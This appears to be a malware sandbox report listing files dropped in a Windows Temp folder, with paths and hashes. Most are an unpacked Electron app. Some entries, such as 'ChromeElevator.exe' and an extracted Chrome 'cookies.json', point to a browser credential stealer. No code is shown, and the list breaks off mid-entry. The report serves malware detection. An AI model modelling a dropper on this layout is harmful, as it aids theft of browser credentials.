                  boot_runtime.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_runtime.txt
                  • Size 1KB
                  • SHA256 082ed7d4908f78fdfe0b82190548dd9464d05a657f4c94dbf0ca7d231201a9bf
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  boot_runtime.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_runtime.txt
                  • Size 1KB
                  • SHA256 4bebb541d9e89cf90c5468cf8a6c7ad12ef834780beaac4ac5f62d0837390041
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  boot_runtime.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\@nyxpublic_debug\boot_runtime.txt
                  • Size 2KB
                  • SHA256 ef1259830f41044a0a3711085810c0f714f8ae9cf6326f10973f5135b6fa4fce
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  ChromeElevator.exe
                  • Path C:\Users\Admin\AppData\Local\Temp\ChromeElevator.exe
                  • Size 1.4MB
                  • SHA256 e857298fd2f8d1c7d48780769433f33e7b3ceaae5ea5a74c13ce8c10bcc7b690
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  __PSScriptPolicyTest_ifopet5p.vtf.ps1
                  • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ifopet5p.vtf.ps1
                  • Size 60B
                  • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  cookies.json
                  • Path C:\Users\Admin\AppData\Local\Temp\elev_out_1786281472441\Chrome\Default\cookies.json
                  • Size 339B
                  • SHA256 200eb5ec9549cd9fa71b9258085bfe52109bd05d92f5f71f6e2913c868e25930
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  extra_exe_debug.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                  • Size 774B
                  • SHA256 946fb6fc3472f632be1e1066865d28ea59e53ef84443ff041392ab2690223293
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  extra_exe_debug.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                  • Size 1KB
                  • SHA256 67accdeb0585ce452496107283a56c8f2dd6ed1b74b513943181d4da68a2567d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  extra_exe_debug.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                  • Size 3KB
                  • SHA256 4eef80c2ef70ea1790abb33eb8fe681e306bdcfc42bf0728a63bb9d70fd033a3
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  extra_exe_debug.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\extra_exe_debug.txt
                  • Size 4KB
                  • SHA256 a4116707ce77db72e2c48e3458f88e3d73f9f7cc97bbc75dfbb6aada3ac83124
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  LICENSE.electron.txt
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\LICENSE.electron.txt
                  • Size 1KB
                  • SHA256 5154e165bd6c2cc0cfbcd8916498c7abab0497923bafcd5cb07673fe8480087d
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  LICENSES.chromium.html
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\LICENSES.chromium.html
                  • Size 9.0MB
                  • SHA256 4bf4dd1a05ecba975c90d85117dea74b0e94114f882bb26a7e7d1029afe8fda8
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  chrome_200_percent.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\chrome_200_percent.pak
                  • Size 222KB
                  • SHA256 20c93f2cfd69f3249cdfd46f317b37a9432ecc0de73323d24ecf65ce0f3c1bb6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  d3dcompiler_47.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\d3dcompiler_47.dll
                  • Size 4.7MB
                  • SHA256 af7b99be1b8770c0e4d18e43b04e81d11bdeb667fa6b07ade7a88f4c5676bf9a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ffmpeg.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\ffmpeg.dll
                  • Size 2.8MB
                  • SHA256 34e3ef3a3ed2df4e0a4a813bbb37346b01e48df1a214dbd0dc1eb90d3e81e258
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  icudtl.dat
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\icudtl.dat
                  • Size 10.0MB
                  • SHA256 9ae98c06cbb0ea43c5cd6b5725310c008c65e46072421a1118cb88e1de9a8b92
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libEGL.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\libEGL.dll
                  • Size 473KB
                  • SHA256 6e45cab21be31b359ad969d777731943791917bd4bf309178e4965047f321a94
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  libGLESv2.dll
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\libGLESv2.dll
                  • Size 8.0MB
                  • SHA256 90a1a55d9c62ce328c803b25e6618ebeee16ef1167d269b69e4adee85ef0c0fb
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  af.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\af.pak
                  • Size 509KB
                  • SHA256 5bd93621de82965b8a7d425660d4afef8102d058e48e8b42e0a45ea2b32ab2fb
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  am.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\am.pak
                  • Size 822KB
                  • SHA256 d759c21b9569163629f2443e69f274ffdb3b1417eaa2b72d1dacc9a31819dbf3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ar.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ar.pak
                  • Size 901KB
                  • SHA256 3883cff8aacb76e0ee906eb27eb5e5437674bb9af85bce1087fb49667d0c47d1
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  bg.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\bg.pak
                  • Size 938KB
                  • SHA256 c87083562fe57e1168aaed1f432e74372919c2008aa690ca6ce719f1787d9522
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  bn.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\bn.pak
                  • Size 1.2MB
                  • SHA256 09dc06e2f6fbf4089cad32a23151cdc8fd873c17def2e85eaad31353743aac70
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ca.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ca.pak
                  • Size 571KB
                  • SHA256 17db67b5c28354db5bfa08697fae29c3555728a6409a653e0f136216c2d05e6d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  cs.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\cs.pak
                  • Size 589KB
                  • SHA256 09483aa859d024639f5bd2325007b4d2a35ce339231e051a943e1f0eed1b3336
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  da.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\da.pak
                  • Size 533KB
                  • SHA256 19d135158a35608e646299defa1647743132a9436c0411ccce2b595ef9738b45
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  de.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\de.pak
                  • Size 569KB
                  • SHA256 954451a308b8c451f080ab628f53a16e6638c201b4d79a094ac5f3ae263c50e2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  el.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\el.pak
                  • Size 1.0MB
                  • SHA256 627dfa327bd3971ae2f26048c247fcbeaa33b3301c3b78f72ec3f199a365ca2d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  en-GB.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\en-GB.pak
                  • Size 463KB
                  • SHA256 811cc30238e961c852267a897c579d6cbebfb957fde9be662d23e4ad989ec894
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  en-US.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\en-US.pak
                  • Size 467KB
                  • SHA256 de60674fcae1e9395cb9a2a2987dfbd97defba59dcf7e5e61a452602e38179c0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  es-419.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\es-419.pak
                  • Size 562KB
                  • SHA256 99d5177b232925a00917b191ac358d88cd8e9a3eed73ed456ac4a62928345b49
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  es.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\es.pak
                  • Size 562KB
                  • SHA256 d66d7ac73c09edc6dd00dcb1b414bb662de6b588c06621764eb2e212db80fe9e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  et.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\et.pak
                  • Size 511KB
                  • SHA256 7b17cf34b75cbcf65476af00a0751f55f77ade6caa68513ab3629a5254742b9c
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  fa.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\fa.pak
                  • Size 836KB
                  • SHA256 00a9c5e4915408b948667b7b5c5715fc3fc8e6d628210bf9a341a55e86b6dfd3
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  fi.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\fi.pak
                  • Size 522KB
                  • SHA256 c2e954d937baa4a8ad382d064d8c6b0ce2fc3375c576dde7b8f8adccb83e4bc5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  fil.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\fil.pak
                  • Size 590KB
                  • SHA256 70e5b30013027e3406ee0a9953bb34e27229d3e0ff60758a7c53837336966833
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  fr.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\fr.pak
                  • Size 609KB
                  • SHA256 fae930c71e897b3a6275d526384e9a5ac62fedc562b76904dd108b55b26f1246
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  gu.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\gu.pak
                  • Size 1.2MB
                  • SHA256 391a825c8f33718bc87ba6d8407e7fbe951b0fe554d0db689a6762eed38f3006
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  he.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\he.pak
                  • Size 734KB
                  • SHA256 1325b70d40e5d5019276c50b4777451875f6dda15e9bb4e23df0de404a2bf76a
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  hi.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\hi.pak
                  • Size 1.2MB
                  • SHA256 92b057a1e57bef223a3fd8c4789c0b8b94825822a07c29b2e7c057853cc627ef
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  hr.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\hr.pak
                  • Size 567KB
                  • SHA256 5df6daf8c34c3e74eea274c8d608b3a177f4d6070a3bfb481cec19ae853b58dc
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  hu.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\hu.pak
                  • Size 611KB
                  • SHA256 a09f07ffc112438f9e79b88907b7853de161bbb91a807af96f57d01339e365bf
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  id.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\id.pak
                  • Size 505KB
                  • SHA256 8bd54bf3b8cd369b4a92804c160bd3d2b888cc0a716d910c7a324569777f4e95
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  it.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\it.pak
                  • Size 554KB
                  • SHA256 d881daf64575dab20072130995d602d21381ec4536b7c57d862b511fc7b34e63
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ja.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ja.pak
                  • Size 675KB
                  • SHA256 c772f5030a7fa6437e8ec2161694566c8e22319b68c2a2d4777eea7b327f8142
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  kn.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\kn.pak
                  • Size 1.3MB
                  • SHA256 29e2613bc55ebf10dc0e6318233aaac0b39428a3af0b1e0867805ba60194e88e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ko.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ko.pak
                  • Size 572KB
                  • SHA256 6b32ceb4d71dc8fbebde2f4ca3a543dbc4963525345c9298e8daaa3279663340
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  lt.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\lt.pak
                  • Size 615KB
                  • SHA256 1334d488e5b1a8357cb480508c8f6ce2ad211a9997f347e9ed1b9f712c60f74d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  lv.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\lv.pak
                  • Size 614KB
                  • SHA256 2486f896cf18c55462835ad2f363866995cbb992d5d9d39239b569727afa58b0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ml.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ml.pak
                  • Size 1.4MB
                  • SHA256 3335642c3f0c852beb595889d8a86431001133cb8c14c45bba688b764008b1d0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  mr.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\mr.pak
                  • Size 1.1MB
                  • SHA256 39b3080a83994129a5dd5222dce549640bf51de644da13f2769e836126b7b782
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ms.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ms.pak
                  • Size 529KB
                  • SHA256 0615106f5c7adbeccd9bb1ea207c8bbdf5e917499e3860103a3fa60069b835b2
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  nb.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\nb.pak
                  • Size 513KB
                  • SHA256 114ca3cf8ba38df9885e54feced2db9f25c789c12fbf41ded07e58ffeb7d852b
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  nl.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\nl.pak
                  • Size 530KB
                  • SHA256 f7577370e356b5d1868b0faee46a3030aad4d7a72ff068e8910972862f7e43be
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  pl.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\pl.pak
                  • Size 591KB
                  • SHA256 4f12dccb61513bad8306c4f8865daf59d5f666c3540c81bb9c56ef52a972819f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  pt-BR.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\pt-BR.pak
                  • Size 555KB
                  • SHA256 74f1be3440a80f55b028cb3c42f291fe41c1626267603d94f57fdececeda3358
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  pt-PT.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\pt-PT.pak
                  • Size 558KB
                  • SHA256 72d9a069944ccf2ac4a6ef44110a2e3e70e8aa550664bc70445947ff72847038
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ro.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ro.pak
                  • Size 579KB
                  • SHA256 432c9424a471857301b724035c973ad009502a7dec2a9df95ccfa73fc46dd0f9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ru.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ru.pak
                  • Size 952KB
                  • SHA256 d9dd48e68d20de6d90f8ae074b4f0f94ad8a9a9fcf20fb86a9a2a41caa618ea5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sk.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\sk.pak
                  • Size 598KB
                  • SHA256 99ed2b13a2804a399a6f4bd5e5608221ffb5874229dea14c33ceb24d99dcbbea
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sl.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\sl.pak
                  • Size 574KB
                  • SHA256 d6a8d1e4539dc08fc4dd6ac5a048dc20047b6f202103e3782ce59e3f2d908696
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sr.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\sr.pak
                  • Size 884KB
                  • SHA256 de79d880a33f7ba3e5cd8ae457321671582e8fe513eb4e6f5b9e257f6fd3581d
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sv.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\sv.pak
                  • Size 516KB
                  • SHA256 298cadec1174abc1b918bce83b22a09835cf8dcba87a3438dbe114bbc0463bd9
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sw.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\sw.pak
                  • Size 543KB
                  • SHA256 c39c3ada455757bfcaecc3d80652e79201d2264578d42d221c52d7c50a601b0e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ta.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ta.pak
                  • Size 1.4MB
                  • SHA256 c66ce9d65f8691cc431db79178e77bc615bc1f212b27a754d395e5c8adc0fe13
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  te.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\te.pak
                  • Size 1.3MB
                  • SHA256 4d9ba6b2727f5f62d90dd45019c68137f3d55efc23a85f62b4fa52ece972a073
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  th.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\th.pak
                  • Size 1.1MB
                  • SHA256 77209d15decca546704f621bf4e8d9269c56add000c057c568d0fe977c447e21
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  tr.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\tr.pak
                  • Size 554KB
                  • SHA256 df9220e39703440ea7c9d9b74796ab5196fdd0ce7b5953af8813567f39ff500f
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  uk.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\uk.pak
                  • Size 952KB
                  • SHA256 b76695b9352440d27c0319f59cd66df2d8d76eb1162d5f78a8374748562ad210
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  ur.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\ur.pak
                  • Size 831KB
                  • SHA256 78799d1065fe84bc64c8c851d5457639172830516ee5c74f08e210973908770e
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  vi.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\vi.pak
                  • Size 658KB
                  • SHA256 55bbd8fed3330da92aee877fb18640cf7c6391d7a6c6bb5aa2d072b4800d3ac4
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  zh-CN.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\zh-CN.pak
                  • Size 473KB
                  • SHA256 67e96bfc54394701cb91e112bb07b7b7042ce9f285db3332a19476af566444f6
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  zh-TW.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\locales\zh-TW.pak
                  • Size 468KB
                  • SHA256 ed372b000597fce75c14edd18ccad1c99e2100be884b58a7e7498488163f2554
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  resources.pak
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources.pak
                  • Size 5.4MB
                  • SHA256 1b57de129bdd967ada780cef37ece8f16a798368b1aa123f1097f389d20ee6cb
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  SystemCore.dat
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\api\priv\SystemCore.dat
                  • Size 1.4MB
                  • SHA256 dae6675f14f34266d35a816c62ae174dc52ed2b04a4eface49a9e137d6b9c721
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  index.dat
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\index.dat
                  • Size 2.6MB
                  • SHA256 87da8408872ba8299640f23b5da0f3c39a561e071a2efe55224031c4456ee1fb
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  LICENSE
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\LICENSE
                  • Size 1KB
                  • SHA256 09856b52897c91ab67e7456ef43067019f31dfd3b87fda72e655736b1ebdee55
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  better_sqlite3.node
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\build\Release\better_sqlite3.node
                  • Size 1.6MB
                  • SHA256 7bbe7704e4b68ca6c2c54ddc80df52413b3d14500aefbf6ef6b05316e3ca42ef
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  common.gypi
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\common.gypi
                  • Size 1KB
                  • SHA256 e71a565cd7733e05efc3a2792b54e260126f03f490325aa2a201202acbbdb315
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  copy.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\copy.js
                  • Size 897B
                  • SHA256 05a2bd41dbd96e33e2fc6cf4bcbc722b4bc8c529813b882f92113d7dbbbece67
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  defines.gypi
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\defines.gypi
                  • Size 1KB
                  • SHA256 1ffa84b8af99780a293dcb7a9031c2dccc8b0d013aef434a35c283cc6c984f2e
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  download.sh
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\download.sh
                  • Size 3KB
                  • SHA256 5de8af6e9f41fc1b5f6d280cdc55d62c2a210faf722c7e529b6b3427be7c80a8
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  1208.patch
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\patches\1208.patch
                  • Size 597B
                  • SHA256 5d1f22d69fee3551b70a7b7b9b14be43fcfd04dbc8683233667abfa75905011a
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  sqlite3.gyp
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3.gyp
                  • Size 2KB
                  • SHA256 a009b8f80cf0a944eacaf71a84e590504f353fbd8f8b341138d0c3094e372d18
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  sqlite3.c
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3.c
                  • Size 8.8MB
                  • SHA256 e80215754ac6cfaefe272342efd581b6dbefdbdc21f96bd83fcb698bee9d36a5
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sqlite3.h
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3.h
                  • Size 643KB
                  • SHA256 2198c66d4c59ae86421590c27fd53309ec14a595ae31c0c7143247444018a0bd
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  sqlite3ext.h
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\sqlite3\sqlite3ext.h
                  • Size 37KB
                  • SHA256 b184dd1586d935133d37ad76fa353faf0a1021ff2fdedeedcc3498fff74bbb94
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  test_extension.c
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\deps\test_extension.c
                  • Size 587B
                  • SHA256 948af88dbf356835f5496c1a3d047fdbcc58f3717aa9bc94d0943d7de2b7cf5b
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  database.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\database.js
                  • Size 4KB
                  • SHA256 50fe0b490f29174d961c4d1ae54f22973447ff1255fd710e785d201c0ebfb4d0
                  • MD5 SHA1 SHA512 SSDEEP TLSH
                  Submit Download

                  index.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\index.js
                  • Size 110B
                  • SHA256 82db11c4ee43a41d859988c5db42c3771dff565371f94bacbd1e4d8d6ceb47cd
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  aggregate.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\aggregate.js
                  • Size 1KB
                  • SHA256 e9f74eb919ec93fe089c95ddf25a98f1f631c80418fa34fb2346ca1bc29f1b82
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  backup.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\backup.js
                  • Size 2KB
                  • SHA256 ea29d34992bb02e006d0fdeda9675ac5d2bb227aaf57468decd997e9fc9c7dbf
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  function.js
                  • Path C:\Users\Admin\AppData\Local\Temp\nsh4A34.tmp\7z-out\resources\app.asar.unpacked\node_modules\better-sqlite3\lib\methods\function.js
                  • Size 1KB
                  • SHA256 f431d49303b8bbdc044b1f1b455bdad21fc9b74b007de0acb22f08f25b4febd3
                  • MD5 SHA1 SHA512 TLSH
                  Submit Download

                  inspect.js
